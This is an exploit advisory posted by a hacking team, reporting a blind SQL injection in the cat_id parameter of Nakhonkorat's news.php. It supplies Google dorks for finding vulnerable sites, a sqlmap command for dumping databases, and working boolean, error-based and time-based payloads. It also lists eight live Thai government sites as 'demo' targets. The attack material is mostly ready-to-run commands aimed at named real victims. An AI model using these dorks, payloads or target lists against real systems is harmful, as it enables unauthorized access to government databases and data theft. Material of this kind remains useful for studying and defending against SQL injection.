facebook facebook twitter rss

Nakhonkorat NEWS.php Blind Sql Injection Vulnerability

Author: Shelesh Rauthan , Published: 08-06-2015
=========================================================

[+] Title :- Nakhonkorat NEWS.php Blind Sql Injection Vulnerability
[+] Date :- 7 - June - 2015
[+] Vendor Homepage: :- http://nakhonkorat.com/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- intext:"Powered By nakhonkorat.com" inurl:news.php
site:go.th inurl:"news.php?cat_id="
site:th inurl:"news.php?cat_id="
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, indian.1337.hacker@gmail.com, shortycharsobeas@gmail.com

=========================================================

[+] Severity Level :- High
[+] Request Method(s) :- GET / POST
[+] Vulnerable Parameter(s) :- news.php?cat_id=
[+] Affected Area(s) :- Entire admin, database, Server


=========================================================

[+] About :- Unauthenticated SQL Injection via "news.php?cat_id" parameter

[+] SQL vulnerable File :- /home/DOMAIN/domains/DOMAIN.go.th/public_html/news.php

[+] POC :- http://127.0.0.1/news.php?cat_id=[SQL]'

SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url http://127.0.0.1/news.php?cat_id=[SQL] --dbs
++++++++++++++++++++++++++

Place: GET
Parameter: cat_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat_id=11 AND 4613=4613

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cat_id=11 AND (SELECT 3723 FROM(SELECT COUNT(*),CONCAT(0x7165647571
,(SELECT (CASE WHEN (3723=3723) THEN 1 ELSE 0 END)),0x717a657471,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cat_id=11 AND SLEEP(5)


[+] DEMO :- http://www.lansakadistrict.go.th/news.php?cat_id=11
http://www.tranglocal.go.th/news.php?cat_id=9
http://www.dopatrang.go.th/news.php?cat_id=3
http://www.bonok.go.th/news.php?cat_id=1
http://www.langsuancity.go.th/news.php?cat_id=1
http://www.saikhao.go.th/news.php?cat_id=29
http://www.damrongthamnakhonsi.go.th/news.php?cat_id=1
http://www.thakuknuea.go.th/news.php?cat_id=13

=========================================================

Like us on Facebook :